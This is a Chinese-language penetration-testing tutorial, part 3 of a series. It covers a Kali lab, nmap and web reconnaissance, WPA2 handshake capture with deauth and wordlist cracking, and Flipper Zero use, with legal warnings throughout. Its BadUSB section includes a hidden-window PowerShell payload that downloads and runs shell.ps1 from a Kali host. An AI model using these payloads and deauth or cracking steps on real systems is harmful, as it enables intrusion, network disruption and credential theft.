黑客之路:5部分系列
第1部分:入门介绍 → 第2部分:Flipper精通 → 第3部分:Kali基础 → 第4部分:漏洞利用 → 第5部分:完整审计
在第1部分和第2部分中,你克隆了卡片、分析了无线电频率,并理解了为什么大多数"安全"只是表面文章。你从外部看到了漏洞。现在你要进入内部,从攻击者的视角来审视它们。
Kali Linux是业界标准的渗透测试发行版。它预装了超过600种安全工具。这可能让人感到不知所措。大多数教程直接把你扔进深水区,给你一堆不理解的命令,也不解释为什么这些命令重要。
我们的做法不同。在本文结束时,你将拥有一个可用的实验室,从基础层面理解网络侦察,并捕获你自己的WiFi握手包。每一步都建立在前一步之上。
第1部分:构建你的实验室
专业渗透测试人员不会在主机上运行Kali。他们使用隔离环境,可以重置、快照和销毁,不会影响主系统。你也要这样做。
选项A:虚拟机(推荐用于学习)
虚拟机提供最安全的学习环境。你可以保存进度快照,犯错后即时回滚。
你需要什么
- 宿主机: 16GB以上内存,50GB以上可用磁盘空间,支持虚拟化的现代CPU
- 虚拟化软件: VirtualBox(免费)或 VMware Workstation Player(个人使用免费)
- Kali Linux: 来自 kali.org 的官方预构建VM
项目:Kali VM设置
时间: 30-45分钟
步骤:
- 为你的虚拟机管理程序(VirtualBox或VMware)下载Kali VM镜像
- 解压下载的存档(Windows推荐使用7-Zip)
- 将VM导入你的虚拟机管理程序
- 配置资源:最低4GB内存(推荐8GB),2个以上CPU核心
- 将网络适配器设置为"桥接"模式以获得完整网络访问
- 启动VM并使用默认凭据登录:
kali/kali - 打开终端并运行:
sudo apt update && sudo apt full-upgrade -y - 创建名为"Fresh Install"的快照以便轻松恢复
验证成功: 你能打开终端,运行whoami并看到kali。
选项B:专用硬件(用于认真练习)
熟悉Kali后,专用硬件消除了VM开销并提供完整的硬件访问,这对无线测试至关重要。
硬件推荐
| 经济选项 | 二手ThinkPad X230/T430($100-150),Intel WiFi替换为Atheros AR9285 |
|---|---|
| 现代选项 | 带Linux兼容WiFi模块的Framework Laptop |
| 专用传感器 | 带外置Alfa AWUS036ACH适配器的Raspberry Pi 5 4GB |
目前,VM完全够用。当你需要监控模式进行无线测试时(本文后面会讲),专用硬件才变得重要。
选项C:Live USB(零持久性)
Live USB直接运行Kali无需安装。关机后一切消失。适合在不同硬件上测试,但除非创建持久分区,否则每次会话都会丢失工作。
bash# Create bootable USB on Linux/Mac
sudo dd if=kali-linux-*.iso of=/dev/sdX bs=4M status=progress
# Replace sdX with your USB device (check with 'lsblk')
# On Windows: Use Rufus or balenaEtcherdd会销毁数据
dd命令直接写入磁盘,没有确认提示。请三重检查设备名称。写入错误的设备会完全擦除该驱动器。
第2部分:终端思维
在接触安全工具之前,你需要在终端中感到自如。这不是可选的。Kali有GUI,但真正的工作在命令行上完成。
基本导航
bash# Know where you are
pwd # Print working directory
# Move around
cd /home/kali # Go to home directory
cd .. # Go up one level
cd - # Go to previous directory
# See what's here
ls # List files
ls -la # List all files with details
ls -lah # Human-readable sizes
# Read files
cat filename # Display entire file
less filename # Scrollable view (q to quit)
head -n 20 filename # First 20 lines
tail -f filename # Follow file in real-time (logs)权限提升
许多安全工具需要root权限。在Kali中,sudo给你临时的root权限。
bashsudo command # Run single command as root
sudo -i # Start root shell (be careful)
whoami # Check current user
id # Show user and group IDs负责任地使用Root
以root身份运行意味着没有安全网。像rm -rf /这样的输入错误会摧毁一切。现代Kali会阻止这个特定命令,但原则不变:在运行之前先理解你在运行什么。
进程管理
bashps aux # All running processes
top # Real-time process viewer
htop # Better process viewer (install if needed)
# Control processes
ctrl+c # Stop current process
ctrl+z # Suspend process
bg # Resume in background
fg # Bring to foreground
# Kill processes
kill PID # Graceful termination
kill -9 PID # Force kill (last resort)网络命令
baship a # Show network interfaces
ip route # Show routing table
ping -c 4 8.8.8.8 # Test connectivity
curl ifconfig.me # Your public IP
# DNS lookups
nslookup google.com
dig google.com项目:终端熟悉
时间: 15分钟
任务:
- 使用
ip a找到你在本地网络上的IP地址 - 使用
ip route确定你的默认网关 - ping你的网关确认连通性
- 列出
/etc中所有文件并按修改时间排序:ls -lt /etc | head - 读取
/etc/passwd的前50行:head -n 50 /etc/passwd
目标: 你应该能够不假思索地导航、检查网络状态和读取文件。
第3部分:使用Nmap进行网络侦察
Nmap(Network Mapper)是你将学到的最重要的工具。它发现主机、识别服务、检测操作系统并映射网络拓扑。其他一切都建立在nmap的输出之上。
你的第一次扫描
让我们扫描你自己的网络。首先,确定你的网络范围:
bash# Find your local IP and subnet
ip a | grep inet
# Look for something like: inet 192.168.1.100/24
# The /24 means your network is 192.168.1.0-255bash# Basic discovery scan (your network only)
sudo nmap -sn 192.168.1.0/24
# What this does:
# -sn = ping scan (no port scanning, just host discovery)
# /24 = scan all 256 addresses in this subnet你会看到类似这样的输出:
textNmap scan report for 192.168.1.1
Host is up (0.0025s latency).
MAC Address: AA:BB:CC:DD:EE:FF (Manufacturer Name)
Nmap scan report for 192.168.1.50
Host is up (0.0042s latency).
MAC Address: 11:22:33:44:55:66 (Another Manufacturer)第一次扫描告诉你:"这些设备存在于我的网络上。"现在让我们提出更深层的问题。
服务检测
知道哪些主机存在后,你想知道它们运行着什么服务。
bash# Scan a single target for open ports and services
sudo nmap -sV 192.168.1.1
# -sV = Version detection (probe open ports for service info)常见输出:
textPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1
80/tcp open http nginx 1.18.0
443/tcp open ssl/http nginx 1.18.0操作系统检测
bash# Detect OS (requires root)
sudo nmap -O 192.168.1.1
# Combined scan: OS detection + service versions + default scripts
sudo nmap -A 192.168.1.1理解端口状态
Nmap以几种状态报告端口:
- open - 应用程序正在主动接受连接。这是攻击者寻找的目标。
- closed - 端口可访问但没有应用程序在监听。主机在线但那里什么都没有。
- filtered - 防火墙或过滤器阻止了探测。无法确定是开放还是关闭。
- unfiltered - 端口可访问但nmap无法确定是开放还是关闭。
扫描类型和隐蔽性
bash# TCP Connect scan (default, noisy but reliable)
sudo nmap -sT target
# SYN scan (stealthier, default with root)
sudo nmap -sS target
# UDP scan (slow but important - many services use UDP)
sudo nmap -sU target
# Scan all 65535 ports (thorough but slow)
sudo nmap -p- target
# Scan specific ports
sudo nmap -p 22,80,443,8080 target
# Top 1000 common ports (default behavior)
sudo nmap targetNmap脚本引擎(NSE)
NSE通过专用脚本扩展nmap,用于漏洞检测、服务枚举等。
bash# Run default safe scripts
sudo nmap -sC target
# Check for vulnerabilities
sudo nmap --script vuln target
# SMB enumeration (Windows shares)
sudo nmap --script smb-enum-shares target
# HTTP enumeration
sudo nmap --script http-enum target
# List available scripts
ls /usr/share/nmap/scripts/ | head -20项目:映射你的网络
时间: 30分钟
前提条件: 从ip a知道你的网络范围
- 发现所有主机:
sudo nmap -sn YOUR_NETWORK/24 - 列出发现的主机及其MAC地址
- 选择你的路由器(通常是.1)并运行:
sudo nmap -sV -sC YOUR_ROUTER - 识别路由器上所有开放端口和服务
- 运行
sudo nmap -A YOUR_COMPUTER查看你的机器暴露了什么
记录: 创建一个文本文件,列出每个设备、其IP、MAC和服务。这就是你的网络地图。
只扫描你拥有的网络
未经授权扫描网络在大多数司法管辖区是违法的。即使是简单的nmap扫描也可能被视为未授权访问。只在你自己的网络、你自己的设备上操作,以及在你有明确书面许可的网络上操作。
第4部分:Web侦察
你的nmap扫描可能发现了HTTP服务(端口80、443、8080)。让我们了解那里运行着什么。
Whatweb:快速服务识别
bash# Identify web technologies
whatweb http://192.168.1.1示例输出:
texthttp://192.168.1.1 [200 OK] Country[RESERVED][ZZ],
HTTPServer[nginx/1.18.0], IP[192.168.1.1],
Title[Router Admin], nginx[1.18.0]Nikto:Web漏洞扫描器
bash# Scan for common web vulnerabilities
nikto -h http://192.168.1.1
# This checks for:
# - Outdated server software
# - Dangerous files/CGIs
# - Misconfigurations
# - Default credentials目录枚举:隐藏了什么?
Web服务器通常有未从主页链接的目录:管理面板、配置文件、备份文件。
bash# Gobuster: directory brute-forcing
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txt常见发现:
text/admin (Status: 301)
/backup (Status: 403)
/config (Status: 200)
/login (Status: 200)字典位置
Kali在/usr/share/wordlists/中包含大量字典。最常见的目录:dirb/、dirbuster/、rockyou.txt(密码)和seclists/(综合集合)。
项目:审计你路由器的Web界面
时间: 20分钟
- 运行
whatweb http://YOUR_ROUTER_IP识别服务器 - 运行
nikto -h http://YOUR_ROUTER_IP检查漏洞 - 运行
gobuster dir -u http://YOUR_ROUTER_IP -w /usr/share/wordlists/dirb/small.txt - 在浏览器中访问发现的目录
- 记录任何管理面板、版本号或有趣的发现
常见发现: 使用默认凭据暴露的路由器管理页面。
第5部分:无线侦察
这里开始变得有趣了。WiFi网络持续广播,使用正确的工具,你可以捕获认证握手包:设备连接时发生的加密交换。
硬件要求
你的内置WiFi可能无法胜任。你需要支持监控模式和数据包注入的适配器。推荐:Alfa AWUS036ACH(约$50)或Alfa AWUS036ACM(约$45)。它们开箱即用支持Kali。
理解监控模式
普通WiFi模式("managed mode")只接收发送给你设备的数据包。监控模式捕获范围内的所有数据包,信道上每个设备的流量。
bash# Check your wireless interfaces
iwconfig
# Look for your adapter (often wlan0 or wlan1)
# Kill interfering processes
sudo airmon-ng check kill
# Enable monitor mode
sudo airmon-ng start wlan0
# Your interface is now wlan0mon扫描网络
bash# Start capturing wireless traffic
sudo airodump-ng wlan0mon
# You'll see:
# BSSID = Router MAC address
# PWR = Signal strength (higher = closer)
# CH = Channel
# ENC = Encryption (WPA2, WPA3, OPN)
# ESSID = Network name
# Press Ctrl+C to stop你看到的是范围内的每个WiFi网络、它们的安全设置,通常还有连接到它们的设备。这就是war driver扫描社区时看到的内容。
捕获握手包
当设备连接到WPA2网络时,会有一个四次握手。如果你捕获了这个握手包,就可以尝试离线破解密码。
bash# Focus on your target network (your own network!)
sudo airodump-ng -c CHANNEL --bssid ROUTER_MAC -w capture wlan0mon
# -c CHANNEL = Target's channel from previous scan
# --bssid = Target router's MAC address
# -w capture = Save to files starting with "capture"
# Now wait for a device to connect...
# Or force a reconnection (on YOUR network only):
# In a new terminal:
sudo aireplay-ng --deauth 5 -a ROUTER_MAC wlan0mon
# This sends 5 deauth packets, disconnecting clients
# They automatically reconnect, generating a handshake当你捕获握手包时,airodump-ng会在右上角显示[ WPA handshake: XX:XX:XX:XX:XX:XX ]。
Deauth攻击是违法的
向你不拥有的网络发送反认证数据包在美国属于联邦犯罪(根据Computer Fraud and Abuse Act),其他地方也有类似法律。只在你自己的网络上测试。目的是理解漏洞,而不是攻击他人。
破解握手包
有了捕获的握手包,你可以使用字典尝试离线破解密码:
bash# Crack using a wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# If the password is in the wordlist, you'll see:
# KEY FOUND! [ password123 ]
# For stronger passwords, use hashcat (GPU-accelerated)
# First, convert capture format:
cap2hccapx capture-01.cap capture.hccapx
# Then crack with hashcat:
hashcat -m 22000 capture.hccapx /usr/share/wordlists/rockyou.txt密码强度现实检验
rockyou.txt包含来自真实数据泄露的1400多万个密码。如果你的WiFi密码是"password123"或"summer2024"或你的宠物名字,几秒钟就能破解。12个以上字符的随机密码需要数百万年才能暴力破解。
项目:测试你的WiFi安全
时间: 45分钟
前提条件: 支持监控模式的外置WiFi适配器
- 启用监控模式:
sudo airmon-ng start wlan0 - 扫描网络:
sudo airodump-ng wlan0mon - 记下你网络的信道和BSSID
- 在你的信道上捕获:
sudo airodump-ng -c CHANNEL --bssid YOUR_BSSID -w mywifi wlan0mon - 将设备重新连接到你的WiFi(或在你自己的网络上使用deauth)
- 确认握手包捕获
- 用rockyou.txt测试:
aircrack-ng -w /usr/share/wordlists/rockyou.txt mywifi-01.cap
结果: 如果你的密码被找到,立即更改为随机且长的密码(20个以上字符)。
第6部分:连接你的Flipper Zero
还记得第2部分的所有捕获吗?让我们把它们整合到你的Kali工作流程中。
文件传输
bash# Connect Flipper via USB
# It appears as a mass storage device
# Mount if not auto-mounted
sudo mount /dev/sda1 /mnt/flipper
# Your captures are in:
/mnt/flipper/subghz/ # Sub-GHz captures
/mnt/flipper/nfc/ # NFC dumps
/mnt/flipper/infrared/ # IR captures
/mnt/flipper/lfrfid/ # 125kHz RFID
/mnt/flipper/badusb/ # BadUSB scripts分析NFC转储
bash# Install libnfc tools
sudo apt install libnfc-bin mfoc mfcuk
# Flipper saves NFC as .nfc text format
# Convert to binary for analysis:
python3 flipper_nfc_to_mfd.py card.nfc card.mfd
# Analyze MIFARE Classic dump
hexdump -C card.mfd | lessSub-GHz分析
bash# Flipper's .sub files are text-based
cat garage_door.sub
# Contains:
# - Frequency (315MHz, 433MHz, etc.)
# - Protocol or RAW data
# - Timing information
# For deeper RF analysis, use:
# - Universal Radio Hacker (URH)
# - GNU Radio
# - rtl_433 (with SDR hardware)BadUSB开发
在Kali中创建BadUSB载荷,在Flipper上测试:
bash# Flipper uses DuckyScript-compatible syntax
# Create payload on Kali:
cat > kali_connect.txt << 'EOF'
DELAY 1000
GUI r
DELAY 500
STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8000/shell.ps1')"
ENTER
EOF
# Host the payload from Kali:
python3 -m http.server 8000
# Copy to Flipper's badusb folder
cp kali_connect.txt /mnt/flipper/badusb/BadUSB载荷威力强大
这些脚本在插入时自动执行。恶意载荷可以在几秒钟内安装后门、窃取凭据或销毁数据。只在你自己的机器上用于测试。永远不要把Flipper留在别人可能插入的地方。
第7部分:文档和工作流程
专业渗透测试人员不只是运行工具。他们记录一切。良好的文档将业余爱好者和专业人士区分开来。
使用CherryTree做笔记
bash# Install CherryTree (hierarchical note-taking)
sudo apt install cherrytree
# Organize notes by:
# - Target/network
# - Reconnaissance
# - Enumeration
# - Vulnerabilities
# - Exploitation attempts
# - Post-exploitation保存Nmap输出
bash# Save in all formats
sudo nmap -sV -sC -oA scan_results target
# Creates:
# scan_results.nmap (human-readable)
# scan_results.xml (parseable)
# scan_results.gnmap (greppable)会话记录
bash# Log entire terminal session
script session_$(date +%Y%m%d_%H%M%S).log
# Now every command and output is recorded
# Type 'exit' to stop logging黑客之路
带你从好奇者成长为能手的5部分系列。
第1部分:入门介绍 第2部分:Flipper精通 第3部分:Kali基础 ✓ 第4部分:漏洞利用 第5部分:完整审计
第3部分检查清单
☐ 实验室搭建: Kali VM运行中,已更新,快照已保存
☐ 终端: 熟练掌握导航、权限、进程控制
☐ Nmap: 网络已映射,服务已识别,路由器已扫描
☐ Web侦察: 路由器Web界面已用whatweb/nikto分析
☐ 无线: 监控模式已启用,网络已扫描
☐ 握手包: 自己的WiFi握手包已捕获并测试
☐ Flipper: 文件已传输,工作流程已理解
☐ 文档: 笔记已整理,扫描已保存
下一步
你已经构建了实验室并学习了侦察阶段。你能发现主机、识别服务并捕获无线握手包。你理解了攻击者在审视网络时看到的东西。
在第4部分,我们从侦察转向漏洞利用。你将学习:
- Metasploit Framework,漏洞利用的瑞士军刀
- 常见漏洞利用工作流程
- 后渗透技术:获得初始访问后会发生什么
- 权限提升:从普通用户到管理员
- 横向移动:利用一个被入侵的系统攻击其他系统
侦察告诉你门在哪里。漏洞利用教你如何穿过它们。
你已经绘制了领土地图。现在你学习在其中导航。第4部分带你从观察者变成操作者。
第4部分见。